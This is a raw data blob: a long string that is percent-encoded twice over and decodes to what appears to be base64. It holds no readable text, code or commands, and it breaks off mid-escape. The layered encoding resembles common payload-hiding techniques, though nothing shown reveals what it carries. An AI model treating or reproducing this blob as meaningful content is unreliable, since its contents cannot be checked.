%37%33%25%35%32%25%33%33%25%32%66%25%36%65%25%33%32%25%36%32%25%36%65%25%36%31%25%35%37%25%33%38%25%33%31%25%35%33%25%33%36%25%35%35%25%33%38%25%37%39%25%35%34%25%37%32%25%33%31%25%32%66%25%34%62%25%37%30%25%37%36%25%36%35%25%37%39%25%36%37%25%32%66%25%35%32%25%33%32%25%36%34%25%33%35%25%37%31%25%37%35%25%33%31%25%36%37%25%34%62%25%35%61%25%35%34%25%36%65%25%36%66%25%34%32%25%33%35%25%36%65%25%36%31%25%36%33%25%36%37%25%37%31%25%36%38%25%36%33%25%37%31%25%33%36%25%34%38%25%35%30%25%34%61%25%36%65%25%34%62%25%34%62%25%37%35%25%35%32%25%33%37%25%33%32%25%35%37%25%37%32%25%37%30%25%36%33%25%37%61%25%34%61%25%36%34%25%33%37%25%37%61%25%37%38%25%35%35%25%34%31%25%34%66%25%32%66%25%33%38%25%34%31%25%37%32%25%36%31%25%37%32%25%37%31%25%36%63%25%36%65%25%36%37%25%36%64%25%36%33%25%36%35%25%37%61%25%35%34%25%36%39%25%37%39%25%33%32%25%35%61%25%33%34%25%32%66%25%35%61%25%33%38%25%37%37%25%37%61%25%34%63%25%33%36%25%37%33%25%37%61%25%34%32%25%36%36%25%36%38%25%33%38%25%33%31%25%35%38%25%33%36%25%32%66%25%36%62%25%33%36%25%34%66%25%33%39%25%36%31%25%36%36%25%36%64%25%36%39%25%36%38%25%33%30%25%33%35%25%34%65%25%35%35%25%34%31%25%33%38%25%36%63%25%34%31%25%34%63%25%34%63%25%36%61%25%34%65%25%34%64%25%33%37%25%35%32%25%37%37%25%33%35%25%37%37%25%34%64%25%34%35%25%33%33%25%35%38%25%33%37%25%32%62%25%33%37%25%34%64%25%32%62%25%36%32%25%36%66%25%34%34%25%36%63%25%36%34%25%32%66%25%33%39%25%36%36%25%36%65%25%36%63%25%37%31%25%36%66%25%36%38%25%36%36%25%34%33%25%36%39%25%33%37%25%35%38%25%36%33%25%36%36%25%35%33%25%35%39%25%36%66%25%36%39%25%37%30%25%36%66%25%35%39%25%34%31%25%36%64%25%32%66%25%32%62%25%37%34%25%34%64%25%33%37%25%35%37%25%36%31%25%36%64%25%33%32%25%37%30%25%35%35%25%36%33%25%34%61%25%34%63%25%36%33%25%37%39%25%34%64%25%36%31%25%37%32%25%35%35%25%34%39%25%35%36%25%35%36%25%36%61%25%37%34%25%36%32%25%36%66%25%37%30%25%35%32%25%35%39%25%37%39%25%36%66%25%34%35%25%35%38%25%33%37%25%36%61%25%34%35%25%35%30%25%32%62%25%36%32%25%36%31%25%36%38%25%36%34%25%33%35%25%34%66%25%33%35%25%36%61%25%36%37%25%33%34%25%34%33%25%36%36%25%36%61%25%34%38%25%33%33%25%36%63%25%34%37%25%37%37%25%37%39%25%35%35%25%35%30%25%37%61%25%33%34%25%33%39%25%36%35%25%37%38%25%33%34%25%36%35%25%34%34%25%32%66%25%33%32%25%36%36%25%33%34%25%36%37%25%34%36%25%36%61%25%37%30%25%36%66%25%37%30%25%36%35%25%33%38%25%36%32%25%34%32%25%37%33%25%34%38%25%34%38%25%34%64%25%33%30%25%36%34%25%36%61%25%33%31%25%36%61%25%34%64%25%33%39%25%36%36%25%37%37%25%36%32%25%37%36%25%37%32%25%33%35%25%36%35%25%33%39%25%37%31%25%35%39%25%33%31%25%34%66%25%37%61%25%33%37%25%36%34%25%33%38%25%36%31%25%34%61%25%33%30%25%33%37%25%37%32%25%36%65%25%37%34%25%34%63%25%33%31%25%36%31%25%36%36%25%35%38%25%36%38%25%34%35%25%33%38%25%33%38%25%37%35%25%36%61%25%37%35%25%34%39%25%34%63%25%33%35%25%33%30%25%33%32%25%35%32%25%32%62%25%36%35%25%34%63%25%32%62%25%34%63%25%36%37%25%37%61%25%35%33%25%37%36%25%36%36%25%35%30%25%36%34%25%36%65%25%34%31%25%34%63%25%33%30%25%36%65%25%35%61%25%32%62%25%32%66%25%36%37%25%34%38%25%33%33%25%33%34%25%36%64%25%37%31%25%37%34%25%36%31%25%36%33%25%36%36%25%37%34%25%36%63%25%35%61%25%36%64%25%35%38%25%33%39%25%36%64%25%37%32%25%35%33%25%37%61%25%34%64%25%36%65%25%37%36%25%37%37%25%35%30%25%37%35%25%36%39%25%36%39%25%35%32%25%37%37%25%37%33%25%33%34%25%37%61%25%33%30%25%36%64%25%33%36%25%37%30%25%33%39%25%34%31%25%33%39%25%37%33%25%33%33%25%37%34%25%36%36%25%34%39%25%35%32%25%36%63%25%33%39%25%35%35%25%35%36%25%34%65%25%37%39%25%35%38%25%34%37%25%36%35%25%37%34%25%36%36%25%34%64%25%33%31%25%35%38%25%33%30%25%34%32%25%36%32%25%33%33%25%35%36%25%35%32%25%36%31%25%35%35%25%33%32%25%37%30%25%34%64%25%37%32%25%33%32%25%34%36%25%35%35%25%34%34%25%33%33%25%33%33%25%36%39%25%32%66%25%37%61%25%37%61%25%37%36%25%36%31%25%35%36%25%34%35%25%36%66%25%36%65%25%36%34%25%32%62%25%34%66%25%36%31%25%33%36%25%34%36%25%36%64%25%33%35%25%32%66%25%34%66%25%34%66%25%37%39%25%37%39%25%34%66%25%37%39%25%34%33%25%33%36%25%36%31%25%35%36%25%37%34%25%34%32%25%36%63%25%35%32%25%37%32%25%37%30%25%35%61%25%34%61%25%35%32%25%37%36%25%35%30%25%32%66%25%35%30%25%36%65%25%34%65%25%36%64%25%36%36%25%35%37%25%34%38%25%33%38%25%37%38%25%33%33%25%33%33%25%37%36%25%35%34%25%34%31%25%33%32%25%32%66%25%36%39%25%34%37%25%36%61%25%33%32%25%32%62%25%37%33%25%37%61%25%36%36%25%34%38%25%37%37%25%34%37%25%36%64%25%34%31%25%34%36%25%37%38%25%36%64%25%35%36%25%37%36%25%37%32%25%35%39%25%33%39%25%35%30%25%34%61%25%34%62%25%35%34%25%33%32%25%36%61%25%33%31%25%35%36%25%36%62%25%36%37%25%35%39%25%32%62%25%37%32%25%35%37%25%33%33%25%34%39%25%34%33%25%34%39%25%33%31%25%34%31%25%35%61%25%33%30%25%36%35%25%36%65%25%34%61%25%36%36%25%35%34%25%33%39%25%35%35%25%37%32%25%33%30%25%33%38%25%35%36%25%37%36%25%37%61%25%36%39%25%36%33%25%34%66%25%34%31%25%36%66%25%36%38%25%37%35%25%37%32%25%36%35%25%35%32%25%35%33%25%33%30%25%33%38%25%35%36%25%37%36%25%34%63%25%37%39%25%34%31%25%34%66%25%34%31%25%34%32%25%36%32%25%36%34%25%35%38%25%34%33%25%36%63%25%35%36%25%35%39%25%33%30%25%37%38%25%36%36%25%36%33%25%33%31%25%34%66%25%34%35%25%35%35%25%37%35%25%33%39%25%34%39%25%37%30%25%36%34%25%35%34%25%36%32%25%34%39%25%37%33%25%35%36%25%37%38%25%36%37%25%33%30%25%33%38%25%33%32%25%34%64%25%34%35%25%36%31%25%34%63%25%33%36%25%36%64%25%33%33%25%34%61%25%33%39%25%36%66%25%33%34%25%36%66%25%35%36%25%36%32%25%33%34%25%34%66%25%33%33%25%37%32%25%34%33%25%36%35%25%35%35%25%34%36%25%36%37%25%34%61%25%33%38%25%36%32%25%34%34%25%35%30%25%34%62%25%33%32%25%33%35%25%35%61%25%36%37%25%33%34%25%35%32%25%36%33%25%34%34%25%33%31%25%36%34%25%37%35%25%36%66%25%36%37%25%37%35%25%33%39%25%37%36%25%37%31%25%36%62%25%36%66%25%36%39%25%36%36%25%34%39%25%37%36%25%37%35%25%33%36%25%34%64%25%37%39%25%36%36%25%36%36%25%36%34%25%34%31%25%36%38%25%36%36%25%37%35%25%35%30%25%34%63%25%34%66%25%34%62%25%33%30%25%36%66%25%33%37%25%34%35%25%36%36%25%34%36%25%37%37%25%35%38%25%34%66%25%35%61%25%35%35%25%34%31%25%33%34%25%35%35%25%33%38%25%37%38%25%36%39%25%34%32%25%34%36%25%36%63%25%33%30%25%34%36%25%36%38%25%37%36%25%34%32%25%36%61%25%33%36%25%34%63%25%34%38%25%36%39%25%35%39%25%36%36%25%34%35%25%33%38%25%35%37%25%36%61%25%34%37%25%37%37%25%37%36%25%33%33%25%35%61%25%34%37%25%35%35%25%32%62%25%34%65%25%37%35%25%37%36%25%37%31%25%37%38%25%34%61%25%35%37%25%32%62%25%34%32%25%36%34%25%33%36%25%34%63%25%36%32%25%36%39%25%33%31%25%36%34%25%35%34%25%37%33%25%33%39%25%36%38%25%33%39%25%37%39%25%35%36%25%37%31%25%37%61%25%32%66%25%36%36%25%36%38%25%36%63%25%32%66%25%37%37%25%34%63%25%37%36%25%36%65%25%36%65%25%35%61%25%34%38%25%36%66%25%33%31%25%33%31%25%33%39%25%33%35%25%34%63%25%33%39%25%34%38%25%35%34%25%36%39%25%33%33%25%36%65%25%34%66%25%37%61%25%33%39%25%34%34%25%34%39%25%35%31%25%34%31%25%34%31%25%36%62%25%34%37%25%34%39%25%36%36%25%33%35%25%33%33%25%36%31%25%35%37%25%35%32%25%36%63%25%36%36%25%33%32%25%34%38%25%33%32%25%36%31%25%37%37%25%35%35%25%36%65%25%33%32%25%34%34%25%37%38%25%34%37%25%35%37%25%35%37%25%36%33%25%36%63%25%32%62%25%36%34%25%34%34%25%34%38%25%34%36%25%33%30%25%36%33%25%34%65%25%35%31%25%36%62%25%37%33%25%36%32%25%33%35%25%36%35%25%37%32%25%32%62%25%34%38%25%33%31%25%34%37%25%36%34%25%34%65%25%37%36%25%34%39%25%37%39%25%37%30%25%36%61%25%34%66%25%37%36%25%37%38%25%34%36%25%33%34%25%34%31%25%36%36%25%35%35%25%36%33%25%35%33%25%36%35%25%37%61%25%33%35%25%34%31%25%36%36%25%36%38%25%34%34%25%36%38%25%36%39%25%35%61%25%32%66%25%37%39%25%33%34%25%34%64%25%33%30%25%36%63%25%33%36%25%35%39%25%37%33%25%35%30%25%36%61%25%34%36%25%36%62%25%33%39%25%35%34%25%35%35%25%33%38%25%34%38%25%37%38%25%37%38%25%35%35%25%37%37%25%33%33%25%36%37%25%34%36%25%37%61%25%34%31%25%33%36%25%36%36%25%37%61%25%34%61%25%36%61%25%37%33%25%33%35%25%34%33%25%33%33%25%36%62%25%34%32%25%34%65%25%33%32%25%34%35%25%36%39%25%34%63%25%37%32%25%34%39%25%34%38%25%34%35%25%37%38%25%34%35%25%36%31%25%37%38%25%34%64%25%37%36%25%37%61%25%36%39%25%36%34%25%36%39%25%32%62%25%37%31%25%36%39%25%36%64%25%34%65%25%33%37%25%33%36%25%36%66%25%36%36%25%33%38%25%33%39%25%37%34%25%33%37%25%35%33%25%37%32%25%34%33%25%36%34%25%33%38%25%35%34%25%37%36%25%33%35%25%33%39%25%36%64%25%34%65%25%34%64%25%34%66%25%37%35%25%35%32%25%34%34%25%35%31%25%32%66%25%34%64%25%35%35%25%36%66%25%34%32%25%37%35%25%33%32%25%36%34%25%34%61%25%36%39%25%34%33%25%35%30%25%34%33%25%36%65%25%33%39%25%34%38%25%34%35%25%36%39%25%33%33%25%34%31%25%34%66%25%34%33%25%36%33%25%33%33%25%37%35%25%37%30%25%36%66%25%34%33%25%34%61%25%33%33%25%34%31%25%34%66%25%33%33%25%33%31%25%36%63%25%33%38%25%36%31%25%36%61%25%35%33%25%34%39%25%34%34%25%37%39%25%37%30%25%37%30%25%33%37%25%35%35%25%34%36%25%36%62%25%36%63%25%37%33%25%35%36%25%34%38%25%33%35%25%35%33%25%33%33%25%35%38%25%34%63%25%33%31%25%34%36%25%33%34%25%36%31%25%36%61%25%35%33%25%35%31%25%37%38%25%35%61%25%35%38%25%35%38%25%35%31%25%37%32%25%36%31%25%37%39%25%35%32%25%36%37%25%35%36%25%34%38%25%34%36%25%35%33%25%32%66%25%35%35%25%34%62%25%34%66%25%35%38%25%33%39%25%36%34%25%34%33%25%32%62%25%37%61%25%35%61%25%37%33%25%34%66%25%35%30%25%35%33%25%33%37%25%34%39%25%35%38%25%34%65%25%36%32%25%34%33%25%36%65%25%35%34%25%35%34%25%36%31%25%35%37%25%37%30%25%34%34%25%34%61%25%34%33%25%35%61%25%36%32%25%33%31%25%33%36%25%35%39%25%37%35%25%33%33%25%35%31%25%34%39%25%37%31%25%36%36%25%33%36%25%37%61%25%34%63%25%34%34%25%36%65%25%37%34%25%33%31%25%33%37%25%34%39%25%34%32%25%33%33%25%37%37%25%37%36%25%36%37%25%33%39%25%32%62%25%34%35%25%35%31%25%36%64%25%34%63%25%35%37%25%34%37%25%35%36%25%34%37%25%37%36%25%34%34%25%32%62%25%35%38%25%34%35%25%36%61%25%36%38%25%36%66%25%33%30%25%36%32%25%34%39%25%33%33%25%36%65%25%35%36%25%33%32%25%37%30%25%34%31%25%35%36%25%37%61%25%34%64%25%34%62%25%36%38%25%37%31%25%33%33%25%34%32%25%36%37%25%34%63%25%32%66%25%33%36%25%36%63%25%36%34%25%37%38%25%37%34%25%34%34%25%35%36%25%36%37%25%37%61%25%34%64%25%33%32%25%37%38%25%33%32%25%36%39%25%36%39%25%36%39%25%35%36%25%34%31%25%34%62%25%36%66%25%37%38%25%34%37%25%35%35%25%36%64%25%34%35%25%34%61%25%34%33%25%34%33%25%37%33%25%34%66%25%34%66%25%37%61%25%36%33%25%37%36%25%34%33%25%37%61%25%34%36%25%37%35%25%33%38%25%33%35%25%36%31%25%32%62%25%35%39%25%34%37%25%37%31%25%34%63%25%35%33%25%34%33%25%35%37%25%36%39%25%36%39%25%36%64%25%36%33%25%34%39%25%36%32%25%35%31%25%33%30%25%34%37%25%33%34%25%36%61%25%34%62%25%37%34%25%34%39%25%36%35%25%36%33%25%34%33%25%33%38%25%35%33%25%33%36%25%37%37%25%36%33%25%32%62%25%35%61%25%36%39%25%36%33%25%34%61%25%34%39%25%33%39%25%37%38%25%37%31%25%37%37%25%36%33%25%34%36%25%37%34%25%33%34%25%34%61%25%37%61%25%37%36%25%35%30%25%37%33%25%36%36%25%34%65%25%33%38%25%35%36%25%37%32%25%32%66%25%34%64%25%35%34%25%36%38%25%33%32%25%37%61%25%36%34%25%34%66%25%35%32%25%36%66%25%36%65%25%36%33%25%34%64%25%34%38%25%37%32%25%34%66%25%36%32%25%37%34%25%34%63%25%34%37%25%34%63%25%35%35%25%36%36%25%37%61%25%35%30%25%37%39%25%36%61%25%35%61%25%35%39%25%37%33%25%34%35%25%35%34%25%35%38%25%33%37%25%35%39%25%35%38%25%35%30%25%34%34%25%35%37%25%36%34%25%36%39%25%35%61%25%36%65%25%34%63%25%33%37%25%34%63%25%33%32%25%34%36%25%36%31%25%34%31%25%36%66%25%36%31%25%37%30%25%35%30%25%33%37%25%35%31%25%35%33%25%33%32%25%34%35%25%33%36%25%35%61%25%33%32%25%35%37%25%33%37%25%34%34%25%37%33%25%34%31%25%35%37%25%35%61%25%32%66%25%34%65%25%34%61%25%35%33%25%37%61%25%35%33%25%34%37%25%34%32%25%33%34%25%35%35%25%34%62%25%35%39%25%37%38%25%36%63%25%36%31%25%35%32%25%36%64%25%36%39%25%36%34%25%33%32%25%33%30%25%32%62%25%33%38%25%33%32%25%37%36%25%35%32%25%33%35%25%35%39%25%36%38%25%34%64%25%35%61%25%34%34%25%34%33%25%35%39%25%37%37%25%34%35%25%35%38%25%37%32%25%36%65%25%33%35%25%37%34%25%36%66%25%34%39%25%35%30%25%37%61%25%36%35%25%34%65%25%32%66%25%34%34%25%35%30%25%37%35%25%37%38%25%34%66%25%36%37%25%37%39%25%33%31%25%36%35%25%36%64%25%34%36%25%36%31%25%36%62%25%34%35%25%33%31%25%33%31%25%34%38%25%33%36%25%36%61%25%34%37%25%35%34%25%33%31%25%37%37%25%33%37%25%34%64%25%34%63%25%35%32%25%36%36%25%33%35%25%35%33%25%33%30%25%34%31%25%34%66%25%36%36%25%33%36%25%36%61%25%37%37%25%37%34%25%37%34%25%34%34%25%32%62%25%35%36%25%34%32%25%35%61%25%37%35%25%36%64%25%37%33%25%36%64%25%33%34%25%34%62%25%35%38%25%35%38%25%37%33%25%34%65%25%35%39%25%34%62%25%37%37%25%36%34%25%36%36%25%36%66%25%35%31%25%37%38%25%34%66%25%36%65%25%34%65%25%36%38%25%32%66%25%33%33%25%34%63%25%33%39%25%37%31%25%37%31%25%34%35%25%37%34%25%32%62%25%36%65%25%34%33%25%33%31%25%37%35%25%33%33%25%35%35%25%36%64%25%33%33%25%36%33%25%37%36%25%35%35%25%36%63%25%36%66%25%34%64%25%33%36%25%33%38%25%36%66%25%37%38%25%36%34%25%33%33%25%37%38%25%33%38%25%35%37%25%33%34%25%34%66%25%37%31%25%36%63%25%37%30%25%33%38%25%33%32%25%34%65%25%36%31%25%36%38%25%34%32%25%36%36%25%37%35%25%35%38%25%37%38%25%34%37%25%35%35%25%33%39%25%33%36%25%36%66%25%33%35%25%35%30%25%36%66%25%32%66%25%37%31%25%33%37%25%37%32%25%34%61%25%37%34%25%34%38%25%35%35%25%35%31%25%34%38%25%34%36%25%33%36%25%34%63%25%37%36%25%32%66%25%37%32%25%35%61%25%37%61%25%37%30%25%35%35%25%34%33%25%35%38%25%34%37%25%32%66%25%37%36%25%37%61%25%37%39%25%33%39%25%34%63%25%37%37%25%35%61%25%35%61%25%36%37%25%34%39%25%34%35%25%34%32%25%34%36%25%34%61%25%34%36%25%33%32%25%36%65%25%35%32%25%36%39%25%37%36%25%34%37%25%35%37%25%36%33%25%35%35%25%36%64%25%34%62%25%35%61%25%33%38%25%37%33%25%33%38%25%35%31%25%37%30%25%32%66%25%34%65%25%35%32%25%37%30%25%34%62%25%36%33%25%33%38%25%36%34%25%36%35%25%35%32%25%36%32%25%34%66%25%37%35%25%34%66%25%35%31%25%32%62%25%36%66%25%34%36%25%33%31%25%34%34%25%36%62%25%37%38%25%35%61%25%35%34%25%34%33%25%34%33%25%33%35%25%35%37%25%34%61%25%35%33%25%36%32%25%34%36%25%36%37%25%33%37%25%37%34%25%34%35%25%37%32%25%35%35%25%36%33%25%34%66%25%36%61%25%33%30%25%35%37%25%34%35%25%37%35%25%33%39%25%37%39%25%36%62%25%36%32%25%34%35%25%35%33%25%37%37%25%36%61%25%33%35%25%33%32%25%37%61%25%34%62%25%36%31%25%36%65%25%34%34%25%34%34%25%36%62%25%34%66%25%37%61%25%35%34%25%32%62%25%34%66%25%36%39%25%35%61%25%36%61%25%34%38%25%34%32%25%37%33%25%33%34%25%36%37%25%33%36%25%32%66%25%33%36%25%34%66%25%34%39%25%36%33%25%37%39%25%34%32%25%37%38%25%33%34%25%33%37%25%34%31%25%35%39%25%32%62%25%33%34%25%35%39%25%36%35%25%33%34%25%35%35%25%34%65%25%37%31%25%37%61%25%37%39%25%34%63%25%37%37%25%33%35%25%37%33%25%36%31%25%35%39%25%37%38%25%33%38%25%36%38%25%34%39%25%37%36%25%36%65%25%33%35%25%32%62%25%34%66%25%36%66%25%35%36%25%35%38%25%32%62%25%36%31%25%34%38%25%34%34%25%34%66%25%34%32%25%33%38%25%33%30%25%36%64%25%36%39%25%35%34%25%35%37%25%35%37%25%36%61%25%35%34%25%36%32%25%36%34%25%35%39%25%34%62%25%34%38%25%34%31%25%35%35%25%33%35%25%37%32%25%33%37%25%36%36%25%36%38%25%34%63%25%33%32%25%34%33%25%35%38%25%34%36%25%37%39%25%32%62%25%33%32%25%37%61%25%35%38%25%35%32%25%37%36%25%37%38%25%36%65%25%35%30%25%37%35%25%35%34%25%35%32%25%36%37%25%35%36%25%37%31%25%36%38%25%34%66%25%37%35%25%36%65%25%34%63%25%37%34%25%36%39%25%34%32%25%33%36%25%36%66%25%35%37%25%34%32%25%37%33%25%33%37%25%36%39%25%36%38%25%34%34%25%36%31%25%35%31%25%34%65%25%34%66%25%33%30%25%37%34%25%34%65%25%37%33%25%36%36%25%34%36%25%33%36%25%37%37%25%34%64%25%34%35%25%33%32%25%36%63%25%36%34%25%36%32%25%36%31%25%34%62%25%32%62%25%34%66%25%36%61%25%36%39%25%35%37%25%33%35%25%36%34%25%33%32%25%34%37%25%36%66%25%33%32%25%36%63%25%36%65%25%35%36%25%37%33%25%35%38%25%36%39%25%33%34%25%32%66%25%36%31%25%34%62%25%36%63%25%34%37%25%36%34%25%33%38%25%35%38%25%37%61%25%36%38%25%36%38%25%36%36%25%32%66%25%36%65%25%34%66%25%35%34%25%37%32%25%37%38%25%34%37%25%35%32%25%34%37%25%36%34%25%36%66%25%32%66%25%32%66%25%36%32%25%36%64%25%33%35%25%34%63%25%37%37%25%36%35%25%36%39%25%36%65%25%34%37%25%36%64%25%36%31%25%35%34%25%34%38%25%35%30%25%33%30%25%34%64%25%36%39%25%36%65%25%33%35%25%35%32%25%36%39%25%33%31%25%37%37%25%36%34%25%37%36%25%35%39%25%37%34%25%37%30%25%36%64%25%34%66%25%33%33%25%36%36%25%36%65%25%33%36%25%34%64%25%35%30%25%34%64%25%33%30%25%33%31%25%35%31%25%34%64%25%33%32%25%37%35%25%37%35%25%33%31%25%33%37%25%36%66%25%37%32%25%36%32%25%36%34%25%35%37%25%36%33%25%37%39%25%34%38%25%34%34%25%34%64%25%33%31%25%36%64%25%34%31%25%37%30%25%36%65%25%33%33%25%36%32%25%36%61%25%37%33%25%33%35%25%36%38%25%36%66%25%37%32%25%37%36%25%36%63%25%34%32%25%35%39%25%37%32%25%36%37%25%35%36%25%33%31%25%36%63%25%36%34%25%36%61%25%34%39%25%34%32%25%34%34%25%33%33%25%37%37%25%34%66%25%36%33%25%34%33%25%34%34%25%37%37%25%35%34%25%37%32%25%35%32%25%35%33%25%34%64%25%34%39%25%33%36%25%37%38%25%35%35%25%36%38%25%36%33%25%37%61%25%35%38%25%36%66%25%36%35%25%33%38%25%34%35%25%36%38%25%34%61%25%33%32%25%37%30%25%34%62%25%34%63%25%37%37%25%36%61%25%36%35%25%37%35%25%34%38%25%36%64%25%36%33%25%35%35%25%36%36%25%35%33%25%32%66%25%33%39%25%36%62%25%34%66%25%36%33%25%34%37%25%33%37%25%34%63%25%36%37%25%35%37%25%36%36%25%35%30%25%34%39%25%36%31%25%37%34%25%37%37%25%36%61%25%36%61%25%35%38%25%34%33%25%35%33%25%36%33%25%36%64%25%33%35%25%35%32%25%34%66%25%33%33%25%36%62%25%34%35%25%37%36%25%35%38%25%35%34%25%36%62%25%34%65%25%37%31%25%34%35%25%33%37%25%34%65%25%36%65%25%37%30%25%37%36%25%35%36%25%32%62%25%34%65%25%35%37%25%35%39%25%36%64%25%36%36%25%35%38%25%36%32%25%34%63%25%33%31%25%32%62%25%36%32%25%33%34%25%33%38%25%34%35%25%34%37%25%36%65%25%36%63%25%35%61%25%35%37%25%37%32%25%33%30%25%33%33%25%33%34%25%33%32%25%35%36%25%33%30%25%34%36%25%36%31%25%36%66%25%33%39%25%36%38%25%35%38%25%35%32%25%36%36%25%36%38%25%36%35%25%36%61%25%35%38%25%33%30%25%35%39%25%33%36%25%33%39%25%36%33%25%36%38%25%33%34%25%35%34%25%33%30%25%34%65%25%37%38%25%33%39%25%36%33%25%34%35%25%34%34%25%36%39%25%32%62%25%37%38%25%33%37%25%35%32%25%33%35%25%35%39%25%35%30%25%36%63%25%33%33%25%35%37%25%36%33%25%33%38%25%34%34%25%37%30%25%36%61%25%34%38%25%33%31%25%34%33%25%37%35%25%36%65%25%34%62%25%35%33%25%37%37%25%34%32%25%33%39%25%37%36%25%36%33%25%34%34%25%37%61%25%33%38%25%33%34%25%35%61%25%36%65%25%34%63%25%37%30%25%34%61%25%37%33%25%33%31%25%34%62%25%33%31%25%33%33%25%36%32%25%35%35%25%37%30%25%36%63%25%35%36%25%36%65%25%34%34%25%33%36%25%35%33%25%37%61%25%36%61%25%37%38%25%32%62%25%34%31%25%33%31%25%37%61%25%37%38%25%37%36%25%33%30%25%36%39%25%34%65%25%37%38%25%35%31%25%37%37%25%37%39%25%33%33%25%36%36%25%37%33%25%37%61%25%37%32%25%33%30%25%34%32%25%35%30%25%34%34%25%36%38%25%35%31%25%33%30%25%37%31%25%34%36%25%37%34%25%37%33%25%36%62%25%34%34%25%33%34%25%37%37%25%33%37%25%34%33%25%34%37%25%37%37%25%35%38%25%33%33%25%34%32%25%34%65%25%35%39%25%34%63%25%33%37%25%34%39%25%35%31%25%33%38%25%36%62%25%37%31%25%37%30%25%36%63%25%36%65%25%32%62%25%34%66%25%34%32%25%37%35%25%34%37%25%33%32%25%34%36%25%32%66%25%37%37%25%35%34%25%35%30%25%36%62%25%33%38%25%36%62%25%32%66%25%37%36%25%36%62%25%34%64%25%36%63%25%35%38%25%35%38%25%37%32%25%36%39%25%36%32%25%33%35%25%33%34%25%35%32%25%32%66%25%32%66%25%33%30%25%36%61%25%36%66%25%34%39%25%33%38%25%34%61%25%33%33%25%33%39%25%36%61%25%34%31%25%34%65%25%34%36%25%35%32%25%34%35%25%33%33%25%36%38%25%37%34%25%36%31%25%33%39%25%35%38%25%37%32%25%35%32%25%37%30%25%36%66%25%37%30%25%37%33%25%33%31%25%34%37%25%35%30%25%33%39%25%34%38%25%36%62%25%33%39%25%36%36%25%32%66%25%36%61%25%35%31%25%33%33%25%33%36%25%37%39%25%36%34%25%34%36%25%34%33%25%36%37%25%35%32%25%37%61%25%33%33%25%32%62%25%33%34%25%36%65%25%37%38%25%35%31%25%36%66%25%34%35%25%35%39%25%36%34%25%35%38%25%37%61%25%36%39%25%34%64%25%35%30%25%36%61%25%35%30%25%37%37%25%33%36%25%35%35%25%35%32%25%35%36%25%34%35%25%34%34%25%35%36%25%35%35%25%37%61%25%36%34%25%34%64%25%37%33%25%34%65%25%32%62%25%37%37%25%34%38%25%33%35%25%33%38%25%34%37%25%35%37%25%34%64%25%33%33%25%35%61%25%37%32%25%37%61%25%36%36%25%37%30%25%34%65%25%34%32%25%35%31%25%34%33%25%35%38%25%37%33%25%35%35%25%36%32%25%34%33%25%36%32%25%37%32%25%37%31%25%34%39%25%37%37%25%37%31%25%34%39%25%35%34%25%34%34%25%35%34%25%35%37%25%33%31%25%33%37%25%37%36%25%37%33%25%37%30%25%36%62%25%36%36%25%36%64%25%36%63%25%34%61%25%34%66%25%37%61%25%33%31%25%37%37%25%33%38%25%36%38%25%33%39%25%35%31%25%37%33%25%35%34%25%34%35%25%37%36%25%33%33%25%34%35%25%36%62%25%37%32%25%33%33%25%37%32%25%36%36%25%34%64%25%36%61%25%36%39%25%36%37%25%35%33%25%34%33%25%34%61%25%34%62%25%36%63%25%35%35%25%35%32%25%36%39%25%34%35%25%33%38%25%35%34%25%34%32%25%34%38%25%33%36%25%36%38%25%33%32%25%33%37%25%33%38%25%35%37%25%37%36%25%33%30%25%33%37%25%33%31%25%34%39%25%34%31%25%33%33%25%37%31%25%35%35%25%37%37%25%37%31%25%33%39%25%32%66%25%37%38%25%34%64%25%35%36%25%32%66%25%32%62%25%35%39%25%34%32%25%36%37%25%33%38%25%35%61%25%37%34%25%36%37%25%36%61%25%33%39%25%35%33%25%34%34%25%34%62%25%36%31%25%32%62%25%35%30%25%34%38%25%37%37%25%36%36%25%35%37%25%37%36%25%36%34%25%36%37%25%33%38%25%37%34%25%36%66%25%33%37%25%37%31%25%35%33%25%34%32%25%36%34%25%35%34%25%32%66%25%34%38%25%36%32%25%36%66%25%36%35%25%33%35%25%37%30%25%33%34%25%34%35%25%36%63%25%37%32%25%36%66%25%33%35%25%34%31%25%34%63%25%34%63%25%36%38%25%33%32%25%35%30%25%35%33%25%33%33%25%35%38%25%34%32%25%32%66%25%36%65%25%36%63%25%34%32%25%34%38%25%36%65%25%33%36%25%34%65%25%36%65%25%34%32%25%35%38%25%36%66%25%35%37%25%36%39%25%34%34%25%34%65%25%34%38%25%36%31%25%36%35%25%37%31%25%35%37%25%36%64%25%33%35%25%36%37%25%36%31%25%34%36%25%33%36%25%37%30%25%36%37%25%33%38%25%37%39%25%36%33%25%33%36%25%37%61%25%37%39%25%34%66%25%37%39%25%33%33%25%33%30%25%36%38%25%34%39%25%34%66%25%37%35%25%32%66%25%36%37%25%37%30%25%33%35%25%34%32%25%34%36%25%33%30%25%35%36%25%34%36%25%34%39%25%35%61%25%34%34%25%35%61%25%33%39%25%36%35%25%34%36%25%33%39%25%37%32%25%37%38%25%37%61%25%33%30%25%32%66%25%37%33%25%34%37%25%36%62%25%34%65%25%36%38%25%37%33%25%37%34%25%36%36%25%35%38%25%36%34%25%35%36%25%34%34%25%37%35%25%36%66%25%37%31%25%34%36%25%34%35%25%37%38%25%34%38%25%36%63%25%34%34%25%34%33%25%35%30%25%34%32%25%35%38%25%34%63%25%33%35%25%35%33%25%34%66%25%32%66%25%36%34%25%35%61%25%36%34%25%33%34%25%34%66%25%36%65%25%34%37%25%36%66%25%37%35%25%35%39%25%37%31%25%33%33%25%36%63%25%34%32%25%33%31%25%34%62%25%36%33%25%34%61%25%34%37%25%32%62%25%34%38%25%33%33%25%37%37%25%36%33%25%33%31%25%34%38%25%34%36%25%36%37%25%34%64%25%35%34%25%37%35%25%37%61%25%33%35%25%35%37%25%35%33%25%32%66%25%34%33%25%33%33%25%32%66%25%33%38%25%36%31%25%33%37%25%36%66%25%33%31%25%33%38%25%32%62%25%35%35%25%34%32%25%35%35%25%33%39%25%34%36%25%34%61%25%37%34%25%37%31%25%36%34%25%34%37%25%34%62%25%36%34%25%35%37%25%33%30%25%35%32%25%33%33%25%36%61%25%33%35%25%36%33%25%33%39%25%33%39%25%33%38%25%37%35%25%35%38%25%36%33%25%36%35%25%37%31%25%36%66%25%36%37%25%35%33%25%36%64%25%37%32%25%35%38%25%37%32%25%36%33%25%33%32%25%36%39%25%36%66%25%37%38%25%35%36%25%34%35%25%35%38%25%35%39%25%34%66%25%32%62%25%34%64%25%33%37%25%36%62%25%35%33%25%36%66%25%36%39%25%35%37%25%37%61%25%35%36%25%35%36%25%37%34%25%33%32%25%36%36%25%33%38%25%35%31%25%34%37%25%34%39%25%33%31%25%36%63%25%34%38%25%35%61%25